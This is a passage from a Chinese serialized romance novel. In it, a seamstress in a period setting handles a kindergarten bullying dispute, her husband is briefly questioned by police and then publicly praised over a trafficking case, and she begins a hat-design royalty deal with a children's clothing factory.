年后，关山越公司的业务多了不少，总算是迈入正轨。目前公司的人手有限，关山越也时常接任务，一个月里总有小半个月在外面出差。 江雪拿着他的存折，以至于每次结了钱，关山越都是拿了现金回来，留够日常花销，再从江雪这里取了存折存到银行里去。一来二去，江雪发现他的那个公司居然赚的不少。 后来江雪才知道他们公司是按货物的价值以及路程远近，简而言之，东西越值钱，路程越长，说明护送过程越危险，他们收费相应的也就越高。 关山越和董志勇分工明确，董志勇不出任务，留在海市跟人交际，吃饭喝酒，既是谈生意拉业务，也是和上面搞好关系。李栋梁想在这上面掺和一手，这回董志勇总算长了个心眼，装傻充愣的躲过去了，只叫他等着拿分红。 江雪只是笑，“他们去工作，提心吊胆还不够？” 刘文月撇撇嘴，明明只有她和江雪两个人，还是压低了声音说话，“别人说不好，姓李的可是歌舞厅的常客。炒股赚了钞票，得意着呢。还拉着大勇去，被我知道了，要不是大勇拦着，我都要找他去，这种人，见不得别人比他好的。” 怪不得说自己最不喜欢李栋梁。 收尾剪线，江雪把衣服摊开，“做好了，文月姐，你来看看。” 帘子拉着，看不到有床的那边。剩下的地方摆了架缝纫机，又放了柜子和桌子，江雪本来还想摆个人台，但没找到合适的，加上客厅确实快要没有落脚的地方，只能暂且作罢。 刘文月看着新衣服爱不释手，不住的夸赞，“你说说，都长了一双手，怎么你的就这么巧。” “喜欢就好，回去让甜甜试试，有不合适的地方拿来再改。” 江雪知道，要是轮手艺，她怎么都比不过那些干了十几二十年的老裁缝，别人愿意来找她做衣服，更多的是看中她这里的款式。 于是她索性定了个规矩，只做女装和童装，同个款式的衣服最多只做五件，先到先得。本来是觉得自己一个人，多了也忙不过来，没想到消息传出去，来的人反而比之前更多，都是奔着私家定制，独一无二来的。 “真是太麻烦你了。”刘文月收起衣服，转头拿了一沓钱给江雪，“咱们各论各的，我不跟你客气，你也别推辞，不然以后我都不敢进你家门。” 让江雪给甜甜做衣服，刘文月本来是不好意思的。虽说是合伙开公司，但出钱最多的人是关山越，董志勇是给关山越打工的，哪有让上司的老婆给他们做衣服的道理。 可小孩子哪管这些，第二次见面吃饭，甜甜相中了关嘉言身上穿的衣服，临走的时候抱着关嘉言不撒手，非得叫人把衣服脱下来给她。 收起衣服，刘文月顺势起身，江雪换了衣服和她一起出门，去接孩子放学。 过完年，关嘉言正式开始上幼儿园。 一开始江雪打算让他上林虹介绍的职工幼儿园，离家近，附近不少小孩子都在里面，有几个关嘉言都认识。 但去看了一次后，江雪就放弃了。 幼儿园的占地面积太小了，本来就是为了方便本厂职工才开办的学校，所以离工厂也近。 找了一圈没有合适的，正好刘文月上门来请她做衣服，想到甜甜也到了上幼儿园的年纪，江雪顺势问了一嘴，刘文月就给她推荐了现在的这所幼儿园。 * 江雪并没有把年前吃的那顿饭放在心上，对石晓茹也是见过就忘，连点头之交都算不上。 没想到过了段时间，石晓茹居然自己找上门来了。 “你是？”有人来，江雪一般只开内门，等对方自报家门，才开外面的防盗门。并且她只接待女顾客，人来了就不关门。 石晓茹穿着条波点红裙子，泡泡袖，脚上蹬了双高跟鞋，扎着个半披发，拎着手袋，瘦瘦高高的站在门口，扫了江雪一眼，才慢悠悠的开口，“是我啊，关太太。” 她一说话江雪就想起来了，石晓茹说话慢，又喜欢拖长音，像在嘴里含了糖，一句话说的黏黏糊糊。 打量着房屋的布置，石晓茹说：“关太太，你们住的这么偏，还真叫人不好找呢。” 他们住的地方，现在看确实不是什么顶好的地段，但再等个十年二十年就不一定了。 江雪客客气气的请她坐下，“初来乍到，先住着。” 石晓茹眨眨眼，语气中带着天真，“那也不能住这样的房子啊，不是我说，关太太，关先生再怎么说也是开公司的人，住在这里，讲出去是要叫人笑话、丢面子的。” 江雪：“……” 她刚刚还在想，只见过一面，说了两句场面话，石晓茹大费周章的找她干嘛，原来是来者不善、善者不来啊。 江雪弯起嘴角，笑眯眯道：“石小姐不愧是大学生，从前我只听说过先敬罗衣后敬人，没想到现在光看衣服还不够，连房子也要算上。” 石晓茹的表情一下子僵在了脸上，江雪笑意不减，把茶杯朝她的方向推了推，“喝茶。” 石晓茹咳了声，又变成了那种慢吞吞的语调，“关太太，没想到你还是个裁缝呢，要不是栋梁告诉我，我都不敢相信。”说着，她从拎着的包里掏出来三件衣服，“我有几件衣服一直想改改，正好你会，就帮我改了吧。” 送上门的生意，不做白不做。 江雪接过衣服看了看，有裙子有裤子。 石晓兰一一叮嘱，“裙子的领口要改成V领的，腰身再收紧一些，下摆也往上提提，到膝盖就好了。裤子也是收腰，大腿那里的裤腿再紧一紧。” 江雪拿了张纸记下，和衣服放到一起，“三件衣服，裙子改动的地方多一点儿，五块钱一条，裤子只收三块，加起来一共十三，订金付一半，三天后取衣服。” “啊？”石晓茹瞪大了眼，她既然来找江雪，那就是没打算掏钱的，要是改得好，她还打算多拿几件过来，没想到江雪会这么不客气，开口就问她要钱。 江雪好整以暇的看着她，要是怕丢人，当初她就不会开门做生意，只要尴尬的不是自己，尴尬的就是别人。 石晓茹有点儿后悔来这么一趟了，这些衣服买回来才几十块钱，也不是不能穿。但要让她再把衣服从江雪手里拿回来，她又拉不下这个脸面。 “还要三天后啊。”石晓茹犹豫，“这衣服，我明天还得穿呢。” 明天穿的衣服今天拿来改，江雪致力于满足每一位顾客的需求，“可以加急，加急多付两块，看你明天穿哪一件，一小时后就能拿。” 石晓茹拒绝了加急，收了钱，江雪递给她一张取衣服的条子。 石晓茹肉疼的接过条子，起身往外走，心里想着回去后要跟李栋梁告状，最起码得让他把这笔钱给她除了。要不是李栋梁告诉她江雪是做裁缝的，她也不会跑这一趟。 真是的，小气吧啦，一看就是小地方出来的人，没见过世面。 * 三天后石晓茹付清钱，取走了衣服。江雪依旧自己忙自己的，没把这事儿告诉任何人。 反倒是李栋梁不知道怎么想的，转头去找关山越说了这件事，又恰好被董志勇听到，董志勇又告诉了刘文月。 刘文月向来是打抱不平的，“呵，他什么意思啦？哪有叫人干活不给钱的？亲兄弟都得明算账，他这么大方，怎么还天天计较那点儿分红。” 江雪正要接话，楼下传来报刊亭大爷的喊声，叫她接电话。 刘文月一副气不顺的样子，坐在沙发上，“你去，我帮你看着。” 报刊亭就在巷子口，没过一会儿，江雪急匆匆的从楼下跑上来，“言言在学校出事了，我得去一趟。”—— 作者有话说：[三花猫头] 第二十四章 打架，进公安局 关嘉言在学校和人打架。 从电话里听到这个消息, 江雪还确认了一遍，以为是自己听错了。 电话那头，老师苦笑着说没有错, 叫她赶紧过去。 刘文月也被唬了一跳, 连忙起身，“我跟你一块去, 咱们在街上叫个车。”关嘉言的学校可是她介绍给江雪的，要真出了什么事，往后她还怎么跟江雪来往。 到了学校, 刚好是放学时间, 江雪拦住刘文月, 让她去接甜甜, 自己直奔老师办公室。 一进门, 就看到关嘉言站在老师身边, 另外有个高高壮壮的小男孩, 被一对夫妻搂在怀里。 “你就是这孩子的家长？” 江雪刚进门, 夫妻两人的目光就落在了她身上, 鼻子不是鼻子, 眼睛不是眼睛, 唾沫横飞道：“你们家长怎么教的孩子，这么大了还咬人，看把我家耀祖咬的。” 刚进门就听到这么一句话, 江雪眉头一皱, 旁边的老师赶忙打圆场道：“耀祖爸爸, 耀祖妈妈，两个孩子都动手了，咱们现在就是来解决这件事的。” 江雪走过去, 把关嘉言拉到身边，没在他身上看到伤痕，只是衣服脏了些，这才松了口气。 转头问道：“老师，到底是怎么一回事？” 老师一脸苦笑，“这……” “什么怎么回事！”耀祖爸爸一下子打断了老师的话，“我儿子被咬了，万一有什么狂犬病，你说该怎么办！” 这话说得就太难听了，偏偏耀祖见有家长给自己撑腰，也伸出手，指着关嘉言大喊：“他咬我！只有小狗才咬人！” 老师想拦都拦不住，只能劝道：“耀祖爸爸，刚刚校医来看过的啊，牙印都看不到，不会有事的。” “你说没事就没事啊？”耀祖妈妈也接上了话，“我儿子是在你们幼儿园出的事，我还没找你们算账呢！” “言言？”江雪蹲下身，轻声问关嘉言：“你咬其他小朋友了吗？” 关嘉言搂住江雪的脖子，刚才他一直忍着没有哭，看到江雪来也没有哭，直到这时候才忍不住，眼泪吧嗒吧嗒落下来，抽噎道：“他说我是小女孩，还扯我的衣服。” “你撒谎！”耀祖眼珠子一转，往地上一坐，就开始撒泼打滚，“我没有！我没有！” 五六岁的小男孩闹起来比过年的猪都难按，江雪带着关嘉言往后退了两步，恰好和老师对上眼神，老师苦笑着对她摇摇头，一副想说什么，但又不好说的样子。 耀祖干打雷不下雨，嚎的门里门外都听得见。等他嚎完，老师才继续说：“家长来之前我们都已经问过了，刚刚有不少人都看到，也听到了，确实是耀祖先动的手。” “谁看到了！”耀祖爸爸高声道：“你让他过来，我问问他！” 这种情况，老师哪敢让其他学生过来，只好声好气道：“两个孩子以后还要做同学，不如就互相道个歉，握手言和，您看行不行？” “不行！”耀祖妈妈搂着自家宝贝儿子，“医药费，营养费，一分都不能少！” 她话音刚落，办公室的门被人从外面猛地推开，几个小孩站在门口，为首的小女孩大声喊道：“我们都看到了，是王耀祖喊关嘉言是小女孩，还扯他的衣服，要把他推到女厕所！” 几个人喊完就跑，一点儿反应时间都不给人留。王耀祖的爸爸刚想起身，被在办公室的其他老师拦住。 见状，江雪冷笑一声，“不就是钱？你们想要多少？” 对方精明的眼睛一眯，伸出手道：“就两百块块。” 两百块，顶普通工人一个月的工资了。 “好。”江雪答应的干脆，“我身上没带钱，你等我打个电话。” 打电话就打电话，王耀祖的爸妈是不怕的，大不了把孩子爸爸喊来，他们再继续讨价还价。 借学校的座机，江雪给关山越的公司打了个电话。电话接通，江雪自报家门，“我是江雪，关山越在吗？” 关山越刚好在，正要出门，闻言来接了电话，“我在，怎么了？” “找人给我送两百块钱，就在关嘉言的学校。” 电话是在办公室打的，江雪没有明说，但关山越一下子就反应过来。家里的钱都在江雪那里放着，并且江雪有事找他都是通过传呼机，不会直接打来公司。 关山越没有迟疑，“我知道了，马上就过去。” 已经过了放学时间，很快，办公室的其他老师也相继离开，只剩下他们几个人。刘文月接了甜甜后又过来找她，江雪让她不用担心，“没事，马上就能解决，你先带着甜甜回去吧。” 刘文月放心不下，“真的没事？” 江雪笑了笑，低声在她耳边说了几句话。刘文月渐渐瞪大了双眼，等听完，忍不住朝她比了个大拇指，“真有你的。” 江雪也是无奈，“没办法，他们不讲理，我只能更不讲理。” 现在的幼儿园里又没有监控，对方打定主意要跟她胡搅蛮缠，真要扯皮，不知道要闹到什么时候。更何况，要是她这次选择退让，往后关嘉言在学校里只会受更多欺负。 刘文月带着甜甜离开后没多久，安泰公司的人就来了。 三个一米八往上的彪形大汉，并排往那一站，跟堵墙也差不了多少。他们一进门，王耀祖爸妈的脸色就变了。 尤其是王耀祖的爸爸，他个子高，人又长得胖，自以为体格健壮，平时耀武扬威惯了，所以才没把江雪放在眼里，没想到居然碰上了硬茬。 面前被放了一沓钱，有零有整，王耀祖爸爸抬头，刚好对上江雪似笑非笑的表情，“两百块，你点点？” 江雪拉了把椅子坐着，安泰公司派来的三个人就站在她身后，全都抱着胳膊不苟言笑，胳膊上隆起的肌肉，比小孩子的腰都粗。 见状，王耀祖爸爸吞了吞口水，刚要伸手，又听江雪和老师闲聊，“听说咱们幼儿园对口的是幸福小学，以后学生都会去那里上学吗？” 老师回，“大部分是的。” 江雪这才笑道：“看来以后言言和大家做同学的时间还长着呢。” 说完，像是才看到桌子上的钱还没被拿走，歪了歪头，挑眉道：“不够吗？” 连天不怕地不怕的王耀祖都不敢在这时候撒泼打滚了，他只是熊，不是傻。 “不，不用了。”王耀祖爸妈哪能听不出江雪话里的意思，抓着王耀祖起身道：“小孩子打打闹闹，不是什么大事，就这么算了吧。” “对对，以后还要做同学。” 把老师刚刚说的话都还了回来，江雪只觉得好笑，“真的没事了？” “没事没事。”三个人脚下不停，跑的飞快。 等人走远，江雪才起身，对老师道：“耽误你这么长时间。” 老师也狠狠松了口气，“实在是不好意思，是我们失职。”又弯下腰摸了摸关嘉言的脸，轻声道：“下次再有人欺负你，一定要立刻告诉老师。” 关嘉言点点头，抬起手挥了挥，“老师再见。” “再见。” * 关山越嘱咐三人把江雪和关嘉言送回家，到了楼下，其中一个人才道：“老板娘，老板今天出任务，要后半夜才能结束。” 江雪点头，“好，我知道了。” 三人离开，江雪带着关嘉言上楼，轻声问道：“今天帮你说话那几个小朋友，你认不认识啊？” “认识。”自从游乐园回来后，关嘉言就不再排斥跟人说话，“他们还帮我推开王耀祖了。” 江雪吃了一惊，“啊？那你告诉老师了吗？” 关嘉言乖乖点头，“说了，但是老师说，不要告诉王耀祖的爸爸妈妈。” 江雪摸了摸他的头，“做得对，今天奖励你多吃一颗糖。” 关嘉言惊喜地瞪大了双眼，掰着手指头想了想说，“要是我今天不吃的话，明天就有四颗糖了。” “对，也可以等到明天吃。” 关嘉言犹豫了一会儿，问道：“那我可以不可以把糖带去学校，分给他们吃。” 他们，自然就是今天帮他推开王耀祖的那几个小朋友。关嘉言记得他们，平时在学校里，这几个小朋友就对他很好，总是跑到他身边陪他说话，还带着他一起玩捉迷藏，老鹰抓小鸡。 江雪笑了笑，“当然可以啊，明天舅妈给你装一袋子糖，你带去学校给老师，就说是分给小朋友的，好不好？” “好！”关嘉言高兴极了。 记挂着关山越晚上回来，江雪没怎么睡熟，后半夜醒了几次，去客厅看过，只有关嘉言自己躺在床上，睡的七仰八叉，被子都滚到了身子底下。 江雪替他整好被子，又等了一会儿，怀念一下可以随时联系的手机，实在困得不行，才回到房间睡下。 一夜过去了，关山越没有回来。 带关嘉言在外面吃过早餐，江雪把他送到幼儿园，再次嘱咐他要先把糖给老师，让老师分给小朋友们。 送完孩子回家，江雪把要洗的衣服找出来，丢进洗手间放满水的大盆子里，挽起衣袖就要大干一场，忽然听到房门被人急促的敲响。 她起身开门，外面站着的居然是昨天来的三个人之一。一看见她，就急声道：“老板娘，我来拿老板的证件，他现在在公安局里。”—— 作者有话说：[三花猫头]宝宝们可以看一下我的预收吗？《反派长嫂当家日常[七零]》这个文名是暂定的，可以看一下下面的文案[三花猫头] 意外猝死前，江晨看完了一本年代刑侦小说 小说里，杀人凶手宋晓薇十六岁不到就被大嫂算计嫁人，不得已辍学远赴边疆 数年后回城探亲，却发现自己亲妈离世，弟弟被卖进山里不知所踪，妹妹被婚后家暴跳河自杀 出于报复，宋晓薇犯下命案，最终被主角抓获 江晨被里面和自己同名同姓的恶毒大嫂气的呼吸不畅，谁知两眼一闭一睁，她竟然成了书里那个霸占公公和丈夫赔偿金，逼宋晓薇嫁给鳏夫，赶弟妹出家门的恶毒大嫂 不仅如此，她还收获了一个名叫【知识改变命运】的系统，只要宋家姐弟能够考高分，拿奖状，她就能赚取积分，兑换各种技能—— 能够美容养颜的美味食谱 狂吃不胖的体质 做饭美味提升50% 高产果蔬种子 …… 拉住就要坐上火车的宋晓薇，江晨果断道：嫁人取消，都去上学！ 自此后，江晨一手擀面杖，一手鸡毛掸子，让宋家彻底没了安生日子。 古诗不会背？抄五十遍！ 写错字？抄一百遍！ 语数外，政史地，理化生，科科不落！ 小周考，大月考，期中考，考考不断！ 哭？哭也算时间！ 现在是1975年，离恢复高考还有三年。读书是改变普通人命运的登天梯，只要考上大学，就能一飞冲天！ 宋家家训第一条：好好学习，天天向上！ 又名：只要学不死，就往死里学！ * 人人都说宋家的祖坟冒了青烟，不仅三个儿女都考上了名牌大学，就连那个嫁到他家半年就守寡的江晨，也抡起大勺，在男人扎堆的国营饭店站稳了脚跟，后来更是开起了小餐馆，成了远近闻名的国家级大厨！ 排雷：1、大哥是真的死了，不是男主 2、男主暂定，女非男C 第二十五章 报纸表彰 拿上证件, 江雪和他一同赶往公安局。 路上，对方跟她说了昨天晚上发生的事情。 昨天晚上是个老顾客下的单子，没有提前预订, 正好关山越有时间, 就去了。 要说也没什么难的，就是在大老板吃饭谈生意的时候警戒护卫, 结束后再把人安全送回家。 问题就出在从饭店出来的时候，一伙醉醺醺的年轻人不知道从哪儿冒出来拦住了他们。把大老板吓得酒都醒了，要是抢劫也就算了, 大不了破财免灾。万一是来绑架他要赎金的…… 大老板立马就把眼睛闭上了, 电影里都说了, 只要不看到绑匪的脸, 他就有活命的机会。 江雪急着问：“那后来呢？” “后来老板就让大老板打电话报警, 他处理了那几个人。”说着, 他还憨厚一笑, “几个小喽啰, 不值一提。” 江雪：“……” 这话的意思就是没受伤, 不过想想也是, 如果受了伤, 他们现在应该去医院，而不是公安局。 很快到了公安局，江雪也清楚了关山越进来的原因。 被他制服的几个人闹事不成, 当场改为碰瓷。在警察来时嚷嚷着自己只是路过, 然后莫名其妙被打了一顿。 别说江雪, 就连负责办案的警察都被逗笑了，“你们的意思是，他一个人, 看到你们六个人在路上走，主动来找你们打架？” 对面支支吾吾的说不出话来。 这边关山越交代清楚，有江雪拿来的各种证件，登记一下就能离开。 见状，被打的几个人开始叫唤起来。 “哎呦，我腿断了。” “我肋巴条断了，我要去医院。” “他打人！不能让他走！” …… 审问的警察敲敲桌子，“都闭嘴，这是什么地方，都给我好好说，老实交代！” 出来后还要签字登记，关山越在登记簿上写下自己的名字，负责人低头一看，“咦”了一声，“你叫关山越？”又看向江雪，“你叫什么？” 江雪不解，但还是回了，“江雪。” “哎呦！”负责人立马起身，“正找你们呢！” 时隔几月，火车上的拐卖案终于尘埃落定，以玉姨为首的人贩子被连根拔除，连带着他们在铁路沿线的据点也被一一拔出。 抓到玉姨后，江雪和关山越没有多留，直接转乘下一趟火车来了海市。临走的时候，关山越留了他们到海市后落脚的地址，还有自己的传呼机号码。传呼机被收缴，联系不上，才打到了公安局，要他们帮忙找人。 “还好抓的及时，救下好几个孩子，还有几个年轻女孩，之前被他们拐走的，也能顺藤摸瓜找回来。这样一来，不知道救了多少家庭，这么大的案子，多亏了你们啊！” “走走走，进去说。”负责人热情的拉着他们回去，“那边要登报表彰，我们也要表彰！” 热心市民智斗人贩子，别管是在哪儿斗的，反正现在人在他们这里，新闻发出去，他们脸上也有光的，白捡一个……一对雷锋榜样嘛！ 那几个人看着关山越去而复返，还以为是自己的抗议有用，正要高兴，就听关山越摇身一变，成了协助警方破获大案要案的英雄。外省特意打电话过来找他，不仅要给他送锦旗，还要登报表彰！ 几人面面相觑，等审讯他们的警察再问，再也不敢随随便便攀扯，老实交代是自己喝多了脑子不清醒。 * 从公安局出来，江雪狠狠松了口气。 太阳高悬在半空，原来不知不觉，已经过去了大半天。 关山越嘱咐叫江雪来的那个人先回去，转过身，就看到江雪抱着胳膊，眼神幽幽的盯着他看。 “怎么了？”关山越问。 “你……”江雪深吸一口气，“你就不怕吗？” 原来是为了这个，关山越笑了笑，宽慰她道：“我有分寸。” 如果没有分寸，那几个人不会有活下来的机会。 “说大话。”江雪盯着他脸上的擦伤，抬手碰了碰，掌心在他脸颊上轻贴了一下，“还是受了伤嘛。” 掌心轻柔，掀起一股说不清道不明的香风，关山越眸色一深，下意识的动作快过大脑，一把握住了江雪即将放下的手。 轻风拂过，两人四目相对。 “关哥！” “班长！” 董志勇和李栋梁两脸焦急的从门外奔了进来。 早不来，晚不来。江雪在心里暗暗吐槽了一下，却发现关山越并没有立刻松开她的手，而是又握了一会儿，直到董志勇和李栋梁走到他们面前，才捏了捏她的手指，然后松开。 江雪笑了，手指从他掌心划过的时候，指尖轻轻一勾。 董志勇一大早就收到了消息，但关山越不让他来，要他去公司坐镇，还要安抚客户，脚不沾地的忙了半上午，还是放下不下，抽出时间赶了过来。 李栋梁则是刚刚得知消息。公司的事他插不上手，反正有关山越和董志勇在，过完年后他索性撂开手，专心炒股，比公司来钱快多了。 董志勇尚且稳得住，反倒是李栋梁气的跳脚，挽起袖子道：“去他X的！我找他们去！” 董志勇赶紧拦他，“行了行了，这是公安局！” 李栋梁不听，还要跳，被关山越喝住，“站住！” “班长！”李栋梁不情不愿，放在以前，这几个人早就被他揍趴下来了。 关山越走过去摁住他的肩膀，沉声道：“注意分寸！” 李栋梁比他小两三岁，刚去的时候什么都不懂，关山越帮了他一次，李栋梁就跟在他屁股后面叫了两年“班长”，走的时候更是哭的眼泪鼻涕一把，叫班长千万不要忘了他。 正因如此，董志勇告诉他李栋梁也要入伙的时候，关山越才同意。 可现在…… 过年时吃的那顿饭，以及后来李栋梁找他说石晓茹的事，关山越警告了他几句，结果李栋梁连公司都不去了，开始躲着他走。 董志勇拉走了李栋梁，江雪和关山越坠在两人后面，顺势说起昨天的事。 提起这个，江雪叹了口气，“本来就打算只让他读这几个月。” 没去幼儿园的时候，江雪买了书，在家里给关嘉言上一对一。既是给他补课，也是检查一下他的接受程度，如果跟不上，就多上一年幼儿园，等明天九月再上小学。 补了几天，江雪就意识到关嘉言确实聪明，教过两三遍的东西基本上都能记得住。 “都已经上了一个月，再转学校，还要重新适应。”拢共加起来才五六个月而已。 关山越听完，点点头，“好，这事交给我吧。” “交给你？”江雪挑眉。 “嗯。”关山越轻轻捏她的手指，“就用你的方法。” 江雪顺势勾住他的手。 * 案件很快登上了报纸，连电视台都进行了报道。 主要是提醒广大群众，外出要注意安全，不轻信陌生人，有困难要找警察。此外，还对智斗人贩子的模范市民江女士和关先生提出表扬，感谢他们对案件侦破做出的贡献。 江雪叫董志勇把报纸裁下来，用相框框起来挂在公司墙上，电视报道也录下来，回头有顾客上门，都可以拿出来作为宣传材料。 董志勇嘿嘿一笑，“还是嫂子你厉害。” 本来安泰的业务只在商业这块儿打转，他们做的是安保，是一定要和上面打好关系的。本来他要天天跟人喝酒吃饭，还要掏钱请客赔笑脸，才能打通关系。这条新闻一出来，大家对他的态度都好了不少，甚至还有人给他介绍政府方面的业务。 江雪又给他出了个主意，“上次那个大老板，请他给公司写个好评，最好拍几张照片，到时候也可以做成宣传册子。” 董志勇挠头，“好评？” “就是说好话。”江雪说：“找人写几个有趣的小故事，把广告插进去，登到报纸上，比直接发广告有用的多。” 软广嘛，就算是再过二三十年，最有效的打广告也是讲故事。 董志勇一条一条记下来，矜矜业业的去干活了。 江雪这几天不用接送关嘉言上学，关山越推了几个工作，分给其他人，腾出时间自己接送。 江雪翻出他以前穿的衣服，人靠衣装马靠鞍，衣服一换，气质立马就变了。每次接送关嘉言，关山越还要在校门口多待一会儿，看到王耀祖被他家长送来、接走才离开， 就这么过了一周，等关嘉言放学回来，江雪问他在学校里过得怎么样。 “嗯，今天背了《静夜思》。”关嘉言摇头晃脑的背诗，背着背着就唱了起来，曲不成曲，调不成调。 “王耀祖呢？” “他变好啦。”变好了这个词是关嘉言从别人嘴里学来的，王耀祖现在不和他说话，每次都离他远远地，“薇薇说他现在都不会欺负其他小朋友了。” 说完，他眼巴巴的抬头看江雪，“舅妈，明天还是舅舅送我去学校吗？”舅舅太凶了，每次都会吓到其他人。 关山越的工作已经攒了不少，有不少客户是点名道姓让他去的。 江雪捏捏他的脸，软软滑滑，像布丁一样，“明天舅妈送你。”—— 作者有话说：[哈哈大笑] 第二十六章 服装设计？ 第二天, 江雪送关嘉言去幼儿园。 目送关嘉言背着小书包走进学校，走到门口还回过头朝她挥了挥手，江雪笑弯了眼, 也举起手左右摆动。 等她一转身, 就看到了同样被送来上学的王耀祖，和送他来学校的他妈妈。两人看到江雪, 都像是老鼠见了猫似的，恨不得离她八丈远。 江雪朝他们友好一笑，耀祖妈脸色剧变, 直接把王耀祖往门口一撇, 自己脚步匆匆的走了。 在门口值班, 负责从家长手中接过学生的老师松了口气。以前王耀祖总要在门口闹上好一会儿, 嚷嚷着不想上学, 惹得其他正常来学校的小朋友也哭闹起来, 最近倒是安生了不少。 江雪不知道自己已经成了大半个幼儿园老师的感谢对象, 又在幼儿园门口等了一会儿, 才推着自行车要走时, 面前忽然站了个人, “你好, 请问是言言家长吗？” 面前的人模样很轻，个头和江雪将将持平，穿着件面料挺括的白衬衫, 外罩米色的宽肩西装, 下穿黑色一步裙, 脚上是双高跟鞋，是当下最为流行的职业女性形象。 这样的装扮，在一群接送孩子的家长中格外打眼。 江雪眼底闪过丝疑惑, “我是，你是？” 对方立马递来一张名片，“我叫乔亚楠，乔雨薇的妈妈。” 乔雨薇，就是之前在幼儿园里帮关嘉言推开欺负他的王耀祖，以及带人在办公室门口大喊，替关嘉言作证的小女孩。 接过名片，江雪笑道：“你好，叫我江雪就好。” 乔亚楠是特地为了江雪来的，她工作忙，平时来接送乔雨薇的都是她爸爸。但自从三天前，乔雨薇拿回家一个帽子，说是幼儿园的小伙伴送给她的礼物后，乔亚楠就特意早起腾出时间，来送女儿上学。 然而很不巧的是，前几天接送关嘉言的人是关山越。 “您之前送给薇薇的帽子，她很喜欢。”乔亚楠开门见山的说：“不瞒您说，其实我开了一家专做童装的服装厂。” 帮助关嘉言的小朋友一共四个，除了乔雨薇外，还有另外两个女孩和一个小男孩。得他们四个不仅阻止王耀祖欺负关嘉言，还经常带着关嘉言一起玩后，江雪便想到送个小礼物给他们。 她会做衣服，但做衣服需要量尺寸，想来想去，想到小孩子的头围大差不差，索性做了几顶帽子。 男孩子的帽子简单些，是经久不衰的英伦风格绅士帽。做给女孩子的就繁复许多，做出来的帽子帽檐宽大，各种材料堆砌在上面，第一眼看上去只会觉得眼花缭乱，却格外吸引人的眼球，有一种说不出的美感。 未来在国内盛行一时的洛可可风格，也是这个年龄段的小女孩一定会喜欢的款式。 乔雨薇拿到帽子后就戴在头上不愿意取下来，放学回家后立马找到妈妈炫耀。 “像公主一样！”要不是天气还不允许，乔雨薇都想立马换上裙子，当一个真正的公主。 乔亚楠是做童装的，习惯使然，看到帽子的第一眼，就让她发现了其中的商机，但她也很快意识到，帽子上的装饰物并不是真的胡乱堆砌，换做不懂行的人来做，哪怕用的是金银珠宝，也只会让人觉得乱糟糟的俗气。 正因如此，乔亚楠才想借着送乔雨薇上学，认识认识做出这顶帽子的人。 谁曾想人还没见到，反倒让她注意到了那个叫关嘉言的小男孩，和他身上穿的衣服。 校门口人来人往，不方便讲话谈事，江雪和乔亚楠在附近找了家能够喝茶吃点心的地方，叫了壶茶，坐下来慢慢聊。 喝了口茶水，乔亚楠慢慢笑道:“不知道江女士是做什么工作的。” 刚吃过早饭，并不怎么饿，江雪同样端了杯茶在手中，闻言道：“裁缝。” 乔亚楠忍不住问：“江女士学过服装设计？” 服装设计？ 江雪愣了下。 乔亚楠还以为她不知道服装设计的意思，毕竟现在都是电视上的明星穿什么，他们就做什么衣服，就像当年的晓庆红，春晚一过，满大街都是红衬衫，买不到成衣，就只能扯红布自己做。 就连她都是开服装厂之后，才知道还有专门的服装设计师。 听完乔亚楠的解释，江雪点点头，“我知道。” 不仅知道，成为服装设计师，还是她上辈子的梦想。只是…… 上辈子的她被爷爷奶奶养大，爸妈离婚，各自成立了家庭。后来爷爷奶奶相继离世，她考上大学，要报考志愿时，对她不闻不问十几年的亲生父母像是突然活过来一样，极力反对她报考服装设计。 “服装设计？毕业能找到工作吗？” “那不就是裁缝吗？现在还有谁找裁缝做衣服？” “你爷爷奶奶就是太惯着你了，才让你这么不务正业！” “掂量掂量自己有几斤几两，别成天异想天开，你就没那个天赋！” “对了，学费你自己想办法，你都成年了，怎么还伸手问家里要钱？” “人家不都打暑假工吗？你也去，不就行了！” …… 最后，她以一个普普通通的成绩，考上了一个普普通通的大学，学了个普普通通的专业，毕业后找了个普普通通的工作。赚的第一笔工资，付完房租水电之后，咬咬牙从二手市场买了台缝纫机，想要重拾梦想，却发现自己根本抽不住时间。 久而久之，缝纫机落了灰，买来的专业书也被束之高阁。 思绪回笼，乔亚楠真诚道：“江女士，我愿意花钱买下你的那顶帽子的设计，放到我的服装厂里生产。” 原本乔亚楠只是想看看设计出那顶帽子的人是谁，但在看到关嘉言身上的衣服后，乔亚楠改变了主意，她想和江雪建立起长久的合作，否则她不会持之以恒的跑这么多趟。 全国数不清的服装厂，大的小的，国家的私人的，有名气的没名气的，请服装设计师设计衣服的有几个，不都是看哪个衣服流行就做哪个，至于流行的衣服哪来的，看看电视就知道了嘛，谁管你设计版权什么的。 手里的茶渐渐冷了下来，江雪嘴边却漾开一抹笑，“乔经理是怎么打算的呢？” 乔亚楠开出条件，“五百块，江女士觉得怎么样？” 这是买断的意思，五百块不少，即便是在海市，城市居民的月人均工资也就两三百。 手指在茶杯沿上轻轻拂过，江雪轻声道：“乔经理，合作的机会不止一次，与其每次都要谈价格，不如换个方式。”她注视着对方的双眼，“分成，乔经理觉得怎么样？” 乔亚楠坐直了身体，“你说说看。” “先说帽子的定价。”江雪招招手，让店员找了纸笔拿过来，“按照市场定价，这顶帽子应该能卖到八九块？” 说完，她看向乔亚楠。乔亚楠略一思索，“这款做工复杂，卖十几块也是有的。” 自己买材料做的话，这个价钱足够做好几个了，并且江雪买材料用的是零售价，工厂拿货肯定要便宜的多。但还要考虑工厂的租金，人工，以及机器运行的费用。 江雪在纸上写下一个数字，“不设底金，工厂每卖出一顶帽子，就给我一件的提成。” 乔亚楠深吸了口气，“你比我胆子还大。” 不过，要是这顶帽子真的能卖出去几千顶，拿到手的提成远比一口价买断多得多。 商量好之后还要签合同，乔亚楠留下了自己的呼机号码，还有办公室的座机号码，江雪照旧留的是楼下报刊亭的电话号码。 乔亚楠笑道：“等帽子做出来，江女士也能用上传呼机了。” 江雪浅浅一笑，“借你吉言。” 回去的路上，江雪拐去文具店买了水彩等绘画材料，以及大幅的素描纸，用来画设计图。 第二天，乔亚楠就打来电话，邀请她去签合同，顺便参观服装厂。 乔亚楠的服装厂是私人的，规模不大，目前只有一条生产线。正因如此，她才想到要找设计师，做一些市面上没有的东西。 “大厂生产线多，出货快，我们是怎么紧赶慢赶都赶不上的。”乔亚楠叹气，“想要卖货，就只能降低出厂价，压利润，可利润就那么多，再往下压，就没有的啦。” 江雪问她，“那这批帽子做出来要怎么卖，你想好了吗？” 